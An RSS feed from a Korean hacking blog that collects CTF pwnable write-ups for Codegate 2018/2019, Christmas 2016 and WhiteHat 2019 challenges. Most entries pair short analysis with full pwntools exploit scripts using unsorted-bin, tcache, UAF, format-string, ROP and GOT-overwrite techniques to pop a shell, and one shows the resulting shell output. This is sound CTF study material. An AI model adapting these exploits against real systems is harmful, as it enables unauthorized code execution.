<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>ba0bab</title>
    <link>https://baobob1024.tistory.com/</link>
    <description>@@</description>
    <language>ko</language>
    <pubDate>Fri, 8 May 2026 13:27:32 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>ba0bab</managingEditor>
    <image>
      <title>ba0bab</title>
      <url>https://tistory1.daumcdn.net/tistory/2835153/attach/36e78eaf7bae448c9099f19cffe6a43e</url>
      <link>https://baobob1024.tistory.com</link>
    </image>
    <item>
      <title>[pwnpwnpwn-16] christmas 2016 who_is_solo</title>
      <link>https://baobob1024.tistory.com/193</link>
      <description>&lt;h3&gt;Summary&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Unsorted bin attack&lt;/li&gt;
&lt;li&gt;ROP&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Analysis&lt;/h3&gt;
&lt;p&gt;login변수의 값이 있으면 rop를 할 수 있다.&lt;/p&gt;
&lt;h3&gt;Exploit&lt;/h3&gt;
&lt;p&gt;Unsorted bin attack으로 login변수에 값을 넣어줄 수 있다.&lt;/p&gt;
&lt;h4&gt;Unsorted bin attack condition&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;공격자에 의해 Unsorted chunk를 생성 할 수 있어야 합니다.&lt;/li&gt;
&lt;li&gt;공격자에 의해 Free chunk 영역에 값을 저장 할 수 있어야 합니다.&lt;/li&gt;
&lt;li&gt;공격자에 의해 Free chunk 와 동일한 크기의 Heap 영역을 할당 할 수 있어야 합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;exploit flow&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;2개의 Unsorted chunk 할당&lt;/li&gt;
&lt;li&gt;첫 번째 free&lt;/li&gt;
&lt;li&gt;bk 를 타겟-16(64비트 기준)으로 overwrite&lt;/li&gt;
&lt;li&gt;free 청크 사이즈만큼 다시 할당.&lt;/li&gt;
&lt;li&gt;공격 대상 영역에 main_arena.bins[0] 영역의 주소가 저장&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;from pwn import *

s = process(&amp;quot;solo&amp;quot;)
e = ELF(&amp;quot;solo&amp;quot;)
libc = ELF(&amp;quot;/lib/x86_64-linux-gnu/libc.so.6&amp;quot;)

def Malloc(num, size, data):
    s.sendlineafter(&amp;quot;$ &amp;quot;, &amp;quot;1&amp;quot;)
    s.sendlineafter(&amp;quot;: &amp;quot;, str(num))
    s.sendlineafter(&amp;quot;: &amp;quot;, str(size))
    s.sendlineafter(&amp;quot;: &amp;quot;, data)

def Free(num):
    s.sendlineafter(&amp;quot;$ &amp;quot;, &amp;quot;2&amp;quot;)
    s.sendlineafter(&amp;quot;: &amp;quot;, str(num))

def Modify(data):
    s.sendlineafter(&amp;quot;$ &amp;quot;, &amp;quot;201527&amp;quot;)
    s.sendlineafter(&amp;quot;: &amp;quot;, data)

Malloc(1, 128, &amp;quot;AAAAAAAA&amp;quot;)
Malloc(2, 128, &amp;quot;BBBBBBBB&amp;quot;)

Free(1)

Modify(&amp;quot;\x00&amp;quot;*8+p64(0x602080-0x10))

Malloc(3, 128, &amp;quot;CCCCCCCC&amp;quot;)

prdi = 0x4008a0
prsi_r15 = 0x400d11

payload = &amp;#39;&amp;#39;
payload += &amp;quot;A&amp;quot;*0x408
payload += p64(prdi)
payload += p64(e.got[&amp;#39;puts&amp;#39;])
payload += p64(e.plt[&amp;#39;puts&amp;#39;])

payload += p64(0x0000000000400680)

s.sendlineafter(&amp;quot;$ &amp;quot;, &amp;quot;4&amp;quot;)
s.sendlineafter(&amp;quot;: &amp;quot;, payload)

s.sendlineafter(&amp;quot;$ &amp;quot;, &amp;quot;5&amp;quot;)

libc_base = u64(s.recv(6).ljust(8, &amp;quot;\x00&amp;quot;)) - libc.symbols[&amp;#39;puts&amp;#39;]
magic = libc_base + 0xf1147
print(hex(libc_base))

payload = &amp;#39;&amp;#39;
payload += &amp;quot;\x00&amp;quot;*0x408
payload += p64(magic)

s.sendlineafter(&amp;quot;$ &amp;quot;, &amp;quot;4&amp;quot;)
s.sendlineafter(&amp;quot;: &amp;quot;, payload)
s.sendlineafter(&amp;quot;$ &amp;quot;, &amp;quot;5&amp;quot;)

s.interactive()&lt;/code&gt;&lt;/pre&gt;</description>
      <category>pwnable/CTF write-up</category>
      <category>hacking</category>
      <category>pwnable</category>
      <author>ba0bab</author>
      <guid isPermaLink="true">https://baobob1024.tistory.com/193</guid>
      <comments>https://baobob1024.tistory.com/193#entry193comment</comments>
      <pubDate>Thu, 30 Jan 2020 08:22:27 +0900</pubDate>
    </item>
    <item>
      <title>[pwnpwnpwn-15] codegate 2019 aeiou</title>
      <link>https://baobob1024.tistory.com/192</link>
      <description>&lt;h3&gt;Summary&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Thread Local Storage(TLS)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;리눅스는 x86: &lt;code&gt;gs&lt;/code&gt;, x86_64: &lt;code&gt;fs&lt;/code&gt; 레지스터로 &lt;code&gt;TLS&lt;/code&gt;를 관리한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;TLS&lt;/code&gt;란 쓰레드를 관리하기 위한 전역변수이며 해당 변수의 0번 째 인덱스에는 &lt;code&gt;TCB&lt;/code&gt;(Thread Control Block)의 주소가 저장된다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;TCB&lt;/code&gt;는 해당 쓰레드를 관리하기 위한 구조체.&lt;/p&gt;
&lt;pre class=&quot;cpp&quot;&gt;&lt;code&gt;typedef struct
{
  void *tcb;        /* Pointer to the TCB.  Not necessarily the
               thread descriptor used by libpthread.  */
  dtv_t *dtv;
  void *self;       /* Pointer to the thread descriptor.  */
  int multiple_threads;
  int gscope_flag;
  uintptr_t sysinfo;
  uintptr_t stack_guard;
  uintptr_t pointer_guard;
  ...
} tcbhead_t;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;위 구조체에서 볼 수 있는 &lt;code&gt;stack_guard&lt;/code&gt; 영역은 &lt;code&gt;fs:0x28&lt;/code&gt; 영역에 저장되어 있는 &lt;code&gt;stack canary&lt;/code&gt;이다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;저 부분을 overwrite할 수 있다면 &lt;code&gt;canary&lt;/code&gt;를 원하는 값으로 조작할 수 있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;새로운 쓰레드가 만들어질 때 &lt;code&gt;TLS&lt;/code&gt; 영역과 새로운 쓰레드의 stack 영역이 같은 mmap 공간에 놓이게 되어 새로운 쓰레드에서 스택 오버플로우가 발생할 경우 &lt;code&gt;TLS&lt;/code&gt; 영역의 &lt;code&gt;stack_guard&lt;/code&gt;를 덮을 수 있다.&lt;/p&gt;
&lt;h3&gt;Analyze&lt;/h3&gt;
&lt;p&gt;3번 메뉴.&lt;/p&gt;
&lt;pre class=&quot;cpp&quot;&gt;&lt;code&gt;int Teaching()
{
  int result; // eax
  pthread_t newthread; // [rsp+0h] [rbp-10h]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  pthread_create(&amp;amp;newthread, 0LL, (void *(*)(void *))start_routine, 0LL);
  result = pthread_join(newthread, 0LL);
  if ( result )
  {
    puts(&quot;oooooh :(&quot;);
    result = 1;
  }
  return result;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;start_routine&lt;/p&gt;
&lt;pre class=&quot;cpp&quot;&gt;&lt;code&gt;void *__fastcall start_routine(void *a1)
{
  unsigned __int64 len; // [rsp+8h] [rbp-1018h]
  char s; // [rsp+10h] [rbp-1010h]
  unsigned __int64 v4; // [rsp+1018h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  memset(&amp;amp;s, 0, 0x1000uLL);
  puts(&quot;Hello!&quot;);
  puts(&quot;Let me know the number!&quot;);
  len = sub_400FF5();
  if ( len &amp;lt;= 0x10000 )
  {
    read_(0, (__int64)&amp;amp;s, len);
    puts(&quot;Thank You :)&quot;);
  }
  else
  {
    puts(&quot;Too much :(&quot;);
  }
  return 0LL;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;스택상황을 보면 위에 언급한 구조체가 보임.&lt;/p&gt;
&lt;h3&gt;Exploit&lt;/h3&gt;
&lt;p&gt;rop payload 짜고 뒤에 덮어주면 됨.&lt;/p&gt;
&lt;pre class=&quot;livecodeserver&quot;&gt;&lt;code&gt;from pwn import *

s = process(&quot;aeiou&quot;)
e = ELF(&quot;aeiou&quot;)
libc = ELF(&quot;/lib/x86_64-linux-gnu/libc.so.6&quot;)

prdi = 0x4026f3
prsi_r15 = 0x4026f1

payload = ''
payload += &quot;A&quot;*0x1008+&quot;A&quot;*16

payload += p64(prdi)
payload += p64(0)
payload += p64(prsi_r15)
payload += p64(e.bss())
payload += p64(0)
payload += p64(e.plt['read'])

payload += p64(prdi)
payload += p64(e.bss())
payload += p64(e.plt['system'])

payload = payload.ljust(0x17F0, &quot;A&quot;)

s.sendlineafter(&quot;&amp;gt;&amp;gt;&quot;, &quot;3&quot;)
s.sendlineafter(&quot;!\n&quot;, str(len(payload)))

s.send(payload)


s.send(&quot;/bin/sh&quot;)

s.interactive()&lt;/code&gt;&lt;/pre&gt;</description>
      <category>pwnable/CTF write-up</category>
      <category>codegate</category>
      <category>hacking</category>
      <category>pwnable</category>
      <category>TLS</category>
      <author>ba0bab</author>
      <guid isPermaLink="true">https://baobob1024.tistory.com/192</guid>
      <comments>https://baobob1024.tistory.com/192#entry192comment</comments>
      <pubDate>Tue, 28 Jan 2020 14:09:02 +0900</pubDate>
    </item>
    <item>
      <title>[pwnpwnpwn-14] codegate 2018 heapbabe</title>
      <link>https://baobob1024.tistory.com/191</link>
      <description>&lt;h3&gt;Summary&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;1byte overflow&lt;/li&gt;
&lt;li&gt;UAF로 풀었는데 dup으로 풀 수 있을듯.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Analysis&lt;/h3&gt;
&lt;pre class=&quot;cpp&quot;&gt;&lt;code&gt; puts(&quot;[A]llocate Buffer&quot;);
 puts(&quot;[F]ree Buffer&quot;);
 puts(&quot;[B]anner&quot;);
 puts(&quot;[E]xit&quot;);
 return printf(&quot;&amp;gt;&amp;gt; &quot;);&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;기능은 크게 2개로 나뉜다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Allocate&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;chunk1(32) 할당.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;buffer에 입력을 받고 len(buffer)만큼 chunk2(mysize) 할당. ( len(buffer)가 16 이상일 경우, 길이가 16 미만이라면 chunk2를 할당하지 않고 chunk1에 기록.)&lt;/p&gt;
&lt;pre class=&quot;cpp&quot;&gt;&lt;code&gt;  input_buf_len &amp;lt;= 15 :

      struct chunk1 {
          char str[16];
          int buf_len;
          int *ptr = onefree;
      }

  input_buf_len &amp;gt; 15:

      struct chunk1 {
          int *chunk2 = malloc(buf_len);
          int dummy;
          int buf_len;
          int *ptr = twofree;
      }&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;그리고 ptr함수 포인터에 free하는 함수를 넣어줌. (twofree는 chunk1, 2 둘다 free)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Free&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ptr 함수 포인터를 호출해서 chunk free.&lt;/li&gt;
&lt;li&gt;함수포인터를 내가 원하는 위치로 바꾸면 call가능함.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Exploit&lt;/h3&gt;
&lt;p&gt;UAF를 통해 ptr함수를 덮을 수 있음.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;pie가 걸려있기 때문에 ptr함수를 &lt;code&gt;1byte overflow&lt;/code&gt;해서 &lt;code&gt;call puts&lt;/code&gt; 주소로 jumping.&lt;/p&gt;
&lt;p&gt;-&amp;gt; codebase leak.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;그렇게 codebase를 구했으니 printf로 다시 덮어주고 청크 앞부분에 &lt;code&gt;%p %p %p %p&lt;/code&gt;&lt;br /&gt;이용하면 fsb가 가능하다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;그렇게 rsp에 있는 libc leak해서 ptr 원샷으로 덮어주면 된다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;fsb유발하는 트릭을 생각치 못해서 아!했다. ㅠㅠ&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre class=&quot;accesslog&quot;&gt;&lt;code&gt;from pwn import *

s = process(&quot;./heapbabe&quot;)
e = ELF(&quot;./heapbabe&quot;)

def Alloc(size, contents):
    s.sendlineafter(&quot;&amp;gt;&amp;gt; &quot;, &quot;A&quot;)
    s.sendlineafter(&quot;: &quot;, str(size))
    s.sendafter(&quot;: &quot;, contents)

def Free(idx):
    s.sendlineafter(&quot;&amp;gt;&amp;gt; &quot;, &quot;F&quot;)
    s.sendlineafter(&quot;: &quot;, str(idx))
    s.sendlineafter(&quot;: &quot;, &quot;DELETE&quot;)

Alloc(24, &quot;A&quot;*23)
Alloc(24, &quot;A&quot;*23)

Free(1)
Free(0)

Alloc(32, &quot;C&quot;*24 + &quot;\xAA&quot;)

Free(1)

s.recvuntil(&quot;C&quot;*24)
pie_base = u64(s.recv(6)+&quot;\x00\x00&quot;) - 0xcaa
printf = pie_base + e.plt['printf']
print(hex(pie_base))

Free(1)
Free(0)

Alloc(32, &quot;%11$p&quot;+&quot;A&quot;*19 + p64(printf))

Free(1)

libc_base = int(s.recv(14), 16) - 0x3c56a3
magic = libc_base + 0x4526a
print(hex(libc_base))

Free(1)
Free(0)

Alloc(32, &quot;A&quot;*24 + p64(magic))

s.sendlineafter(&quot;&amp;gt;&amp;gt; &quot;, &quot;F&quot;)
s.sendlineafter(&quot;: &quot;, str(1))
s.sendlineafter(&quot;: &quot;, &quot;DELETE&quot;+&quot;\x00&quot;*0x80)

s.interactive()&lt;/code&gt;&lt;/pre&gt;</description>
      <category>pwnable/CTF write-up</category>
      <category>codegate</category>
      <category>hacking</category>
      <category>pwnable</category>
      <author>ba0bab</author>
      <guid isPermaLink="true">https://baobob1024.tistory.com/191</guid>
      <comments>https://baobob1024.tistory.com/191#entry191comment</comments>
      <pubDate>Mon, 27 Jan 2020 16:07:08 +0900</pubDate>
    </item>
    <item>
      <title>[pwnpwnpwn-13] codegate 2019 god-the-reum</title>
      <link>https://baobob1024.tistory.com/190</link>
      <description>&lt;h3&gt;Summary&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;tcache(18.04) challenge&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Analysis&lt;/h3&gt;
&lt;pre class=&quot;abnf&quot;&gt;&lt;code&gt; puts(&quot;====== Ethereum wallet service ========&quot;);
 puts(&quot;1. Create new wallet&quot;);
 puts(&quot;2. Deposit eth&quot;);
 puts(&quot;3. Withdraw eth&quot;);
 puts(&quot;4. Show all wallets&quot;);
 puts(&quot;5. exit&quot;);&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Wallet[0] -&amp;gt; 16byte&lt;br /&gt;Wallet[1] -&amp;gt; 16byte&lt;br /&gt;Wallet[2] -&amp;gt; 16byte&lt;br /&gt;Wallet[3] -&amp;gt; 16byte&lt;br /&gt;Wallet[4] -&amp;gt; 16byte&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;지갑은 이렇게 5개까지 만들 수 있고, 구조체는&lt;/p&gt;
&lt;pre class=&quot;cpp&quot;&gt;&lt;code&gt;struct Wallet {
    int *fuck_rand_chunk = malloc(0x82);
    int *mysize_chunk = malloc(size);
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;이런식이다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Create
&lt;ul&gt;
&lt;li&gt;위 구조체에서 뒤에 청크를 원하는 size만큼 할당가능하다.&lt;/li&gt;
&lt;li&gt;만들어진 청크에는 입력받은 size가 적힌다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Deposit
&lt;ul&gt;
&lt;li&gt;지갑의 index를 입력받고 아까 만든 mysize_chunk에 입력받는 money를 += 한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Withdraw
&lt;ul&gt;
&lt;li&gt;지갑의 index를 입력받고 입력받은 money가 *mysize_chunk - money == 0이면 그 청크를 free한다.&lt;/li&gt;
&lt;li&gt;money에 0을 입력할 수 있어서 double free가 가능하다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Show
&lt;ul&gt;
&lt;li&gt;지갑들을 다 보여주는데 small bin 만들고 free해서 main_arena 위치 보이게 하고 show하면 leak이 되겠다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;hidden
&lt;ul&gt;
&lt;li&gt;index에서 6을 입력하면 사용할 수 있음.&lt;/li&gt;
&lt;li&gt;mysize_chunk의 값을 다시 수정가능. -&amp;gt; free된 청크의 tcache bin fd도 적을 수 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Exploit&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;leak&lt;br /&gt;지갑들을 다 보여주는데 small bin 만들고 free해서 main_arena 위치 보이게 하고 show하면 leak이 되겠다.&lt;/li&gt;
&lt;li&gt;exploit&lt;br /&gt;free시키고 fd를 &lt;code&gt;__free_hook&lt;/code&gt;으로 덮어주고 할당할당해서 one_shot을 적어준다.&lt;/li&gt;
&lt;/ol&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;from pwn import *

s = process(&quot;god-the-reum&quot;)
e = ELF(&quot;god-the-reum&quot;)
libc = ELF(&quot;/lib/x86_64-linux-gnu/libc.so.6&quot;)

def Create(size):
    s.sendlineafter(&quot;: &quot;, &quot;1&quot;)
    s.sendlineafter(&quot;: &quot;, str(size))

def Deposit(idx, money):
    s.sendlienafter(&quot;: &quot;, &quot;2&quot;)
    s.sendlineafter(&quot;: &quot;, str(idx))
    s.sendlineafter(&quot;: &quot;, str(money))

def Withdraw(idx, money):
    s.sendlineafter(&quot;: &quot;, &quot;3&quot;)
    s.sendlineafter(&quot;: &quot;, str(idx))
    s.sendlineafter(&quot;: &quot;, str(money))

def View():
    s.sendlineafter(&quot;: &quot;, &quot;4&quot;)

def Developer(idx, data):
    s.sendlineafter(&quot;: &quot;, &quot;6&quot;)
    s.sendlineafter(&quot;: &quot;, str(idx))
    sleep(1)
    s.sendlineafter(&quot;: &quot;, data)


Create(256)
Create(1040)
Create(1040)

Withdraw(1, 1040)#free
View()

s.recvuntil(&quot;ballance &quot;)
s.recvuntil(&quot;ballance &quot;)

libc_base = int(s.recvline()) - libc.symbols['__malloc_hook'] - 0x10 - 96
__free_hook = libc_base + libc.symbols['__free_hook']
__malloc_hook = libc_base + libc.symbols['__malloc_hook']

system = libc_base + libc.symbols['system']
magic = libc_base + 0x4f322
print(hex(libc_base))

Withdraw(0, 256)
Withdraw(0, 0)

Developer(0, p64(__free_hook))

Create(256)
Create(256)

Developer(4, p64(magic))
Withdraw(0, 256)

s.recv()
s.interactive()&lt;/code&gt;&lt;/pre&gt;</description>
      <category>pwnable/CTF write-up</category>
      <category>codegate</category>
      <category>hacking</category>
      <category>pwnable</category>
      <category>tcache</category>
      <author>ba0bab</author>
      <guid isPermaLink="true">https://baobob1024.tistory.com/190</guid>
      <comments>https://baobob1024.tistory.com/190#entry190comment</comments>
      <pubDate>Sun, 26 Jan 2020 08:06:59 +0900</pubDate>
    </item>
    <item>
      <title>[pwnpwnpwn-12] codegate 2018  Super Marimo</title>
      <link>https://baobob1024.tistory.com/189</link>
      <description>&lt;p&gt;다른 문제 보다가 안풀려서 잠시 쉬어갈 겸 풀어보았다.&lt;/p&gt;
&lt;h3&gt;Summary&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;heap overflow&lt;/li&gt;
&lt;li&gt;pointer overwrite&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Analysis&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt; puts(&amp;quot;\n[V]iew my bowls&amp;quot;);
 puts(&amp;quot;[B]uy marimo&amp;quot;);
 puts(&amp;quot;[S]ell marimo&amp;quot;);
 puts(&amp;quot;[A]bout&amp;quot;);
 puts(&amp;quot;[Q]uit&amp;quot;);
 printf(&amp;quot;&amp;gt;&amp;gt; &amp;quot;);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;메뉴는 이렇게 있고  &lt;/p&gt;
&lt;p&gt;입력을 받을 때 &lt;code&gt;show me the marimo&lt;/code&gt;를 입력하면 마리모를 하나 준다. (size는 1)  &lt;/p&gt;
&lt;p&gt;원래 Buy하려면 돈이 필요한데 꽁짜로 준다 ! ㅎㅎ  &lt;/p&gt;
&lt;p&gt;마리모는 최대 15개 까지 살 수 있다.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;struct marimo{
   int_32 time;
   int_32 size;
   int *name = malloc(16);
   int *profile = malloc(32);
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;마리모 구조체는 이렇게 되고 name과 profile을 입력 받는다.  &lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Buy&lt;ul&gt;
&lt;li&gt;위 구조체와 같으며 name과 profile을 입력 받는다.&lt;/li&gt;
&lt;li&gt;가격은 입력받은 수 *5이다. 근데 돈이 없어서 못 사니, 위에서 만든 마리모를 팔고 사면 된다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Sell&lt;ul&gt;
&lt;li&gt;마리모를 팔 수 있다.&lt;/li&gt;
&lt;li&gt;5*(size + (current_time - birth_size)) 가 가격이다. 시간에 따라 돈을 더 많이 받고 팔 수 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;View&lt;ul&gt;
&lt;li&gt;bowl (마리모 구조체들) 값을 출력해준다.&lt;/li&gt;
&lt;li&gt;여기서 기존 profile값을 modify할 수 있는데, 여기서도 size를 &lt;code&gt;prev_size + (current_time - birth_time)&lt;/code&gt;로 새로 값을 만들어준다. ㅋㅋ&lt;/li&gt;
&lt;li&gt;근데? 이 new_size*32만큼 profile을 수정할 수 있기 때문에 heap overflow가 발생한다!&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Libc leak&lt;/h3&gt;
&lt;p&gt;heap overflow 취약점을 통해 뒤의 마리모 구조체의 name청크 혹은 profile청크의 주소를 got로 overwrite해주고  &lt;/p&gt;
&lt;p&gt;view해주면 got에 담겨진 libc주소가 leak된다.&lt;/p&gt;
&lt;h3&gt;Exploit&lt;/h3&gt;
&lt;p&gt;one_shot 컨디션 잘 봐가면서 다시한번 modify해 아까 바꾼 got에 원샷 가젯을 넣어준다.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;from pwn import *
import time

s = process(&amp;quot;./marimo&amp;quot;)
e = ELF(&amp;quot;./marimo&amp;quot;)
libc = ELF(&amp;quot;/lib/x86_64-linux-gnu/libc.so.6&amp;quot;)
context.log_level = &amp;#39;debug&amp;#39;

s.sendlineafter(&amp;quot;&amp;gt;&amp;gt; &amp;quot;, &amp;quot;show me the marimo&amp;quot;)
s.sendlineafter(&amp;quot;&amp;gt;&amp;gt; &amp;quot;, &amp;quot;hyomin&amp;quot;)
s.sendlineafter(&amp;quot;&amp;gt;&amp;gt; &amp;quot;, &amp;quot;profile&amp;quot;)
#show me the money

s.sendlineafter(&amp;quot;&amp;gt;&amp;gt; &amp;quot;, &amp;quot;S&amp;quot;)
sleep(1)
s.sendlineafter(&amp;quot;&amp;gt;&amp;gt; &amp;quot;, &amp;quot;0&amp;quot;)
s.sendlineafter(&amp;quot;?&amp;quot;, &amp;quot;S&amp;quot;)
# Sell marimo, get 15 dollars.

s.sendlineafter(&amp;quot;&amp;gt;&amp;gt; &amp;quot;, &amp;quot;B&amp;quot;)
s.sendlineafter(&amp;quot;&amp;gt;&amp;gt; &amp;quot;, &amp;quot;1&amp;quot;)
s.sendlineafter(&amp;quot;&amp;gt;&amp;gt; &amp;quot;, &amp;quot;P&amp;quot;)
s.sendlineafter(&amp;quot;&amp;gt;&amp;gt; &amp;quot;, &amp;quot;chunk1_name&amp;quot;)
s.sendlineafter(&amp;quot;&amp;gt;&amp;gt; &amp;quot;, &amp;quot;chunk1_profile&amp;quot;)
# buy 1cm marimo1

s.sendlineafter(&amp;quot;&amp;gt;&amp;gt; &amp;quot;, &amp;quot;B&amp;quot;)
s.sendlineafter(&amp;quot;&amp;gt;&amp;gt; &amp;quot;, &amp;quot;1&amp;quot;)
s.sendlineafter(&amp;quot;&amp;gt;&amp;gt; &amp;quot;, &amp;quot;P&amp;quot;)
s.sendlineafter(&amp;quot;&amp;gt;&amp;gt; &amp;quot;, &amp;quot;chunk2_name&amp;quot;)
s.sendlineafter(&amp;quot;&amp;gt;&amp;gt; &amp;quot;, &amp;quot;chunk2_profile&amp;quot;)
# buy 1cm marimo2
sleep(2)

s.sendlineafter(&amp;quot;&amp;gt;&amp;gt; &amp;quot;, &amp;quot;V&amp;quot;)
s.sendlineafter(&amp;quot;&amp;gt;&amp;gt; &amp;quot;, &amp;quot;0&amp;quot;)
s.sendlineafter(&amp;quot;&amp;gt;&amp;gt; &amp;quot;, &amp;quot;M&amp;quot;)


leak_payload = &amp;quot;A&amp;quot;*48 + p32(int(time.time()))+p32(1)+p64(e.got[&amp;#39;puts&amp;#39;])*2

s.sendlineafter(&amp;quot;&amp;gt;&amp;gt; &amp;quot;, leak_payload)

s.sendlineafter(&amp;quot;&amp;gt;&amp;gt; &amp;quot;, &amp;quot;B&amp;quot;)
s.sendlineafter(&amp;quot;&amp;gt;&amp;gt; &amp;quot;, &amp;quot;V&amp;quot;)
s.sendlineafter(&amp;quot;&amp;gt;&amp;gt; &amp;quot;, &amp;quot;1&amp;quot;)

s.recvuntil(&amp;quot;birth : &amp;quot;)
birth = int(s.recv(10))
s.recvuntil(&amp;quot;name : &amp;quot;)

libc_base = u64(s.recv(6)+&amp;quot;\x00\x00&amp;quot;) - libc.symbols[&amp;#39;puts&amp;#39;]
magic = libc_base + 0x45216
print(hex(libc_base))


# overflow chunk1 -&amp;gt; chunk2 *name_chunk-&amp;gt; puts@got
#raw_input()
payload = p64(magic)
s.sendlineafter(&amp;quot;&amp;gt;&amp;gt; &amp;quot;, &amp;quot;M&amp;quot;)
#raw_input()
s.sendlineafter(&amp;quot;Give me new profile\n&amp;gt;&amp;gt; &amp;quot;, payload)

s.interactive()&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;딱히 어렵지도 않고 재밌었다 ㅎ  &lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hyomin@ubuntu:~/hacking/ctf/coge/pwn/marimo$ python exploit.py 
[+] Starting local process &amp;#39;./marimo&amp;#39;: pid 25385
[*] &amp;#39;/mnt/hgfs/hacking/ctf/coge/pwn/marimo/marimo&amp;#39;
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] &amp;#39;/lib/x86_64-linux-gnu/libc.so.6&amp;#39;
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
0x7ff5b7282000
[*] Switching to interactive mode
$ id
uid=1000(hyomin) gid=1000(hyomin) groups=1000(hyomin),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$  &lt;/code&gt;&lt;/pre&gt;</description>
      <category>pwnable/CTF write-up</category>
      <category>codegate</category>
      <category>pwable</category>
      <category>본선가고싶다</category>
      <author>ba0bab</author>
      <guid isPermaLink="true">https://baobob1024.tistory.com/189</guid>
      <comments>https://baobob1024.tistory.com/189#entry189comment</comments>
      <pubDate>Fri, 24 Jan 2020 15:41:23 +0900</pubDate>
    </item>
    <item>
      <title>[pwnpwnpwn-4] WhiteHat GrandPrix 2019 - BookStore</title>
      <link>https://baobob1024.tistory.com/181</link>
      <description>&lt;h3&gt;Summary&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;sql injection&lt;/li&gt;
&lt;li&gt;64bit Format String Bug&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Analysis&lt;/h3&gt;
&lt;p&gt;register에서  &lt;code&gt;&amp;#39;&lt;/code&gt;를 필터링하지 않아서 &lt;code&gt;sql injection&lt;/code&gt;이 가능하다.&lt;/p&gt;
&lt;p&gt;(login에서는 필터링함.)&lt;/p&gt;
&lt;p&gt;그렇게 sql injection을 통해 point를 조건값으로 바꿔주면 fsb가 가능하다.&lt;/p&gt;
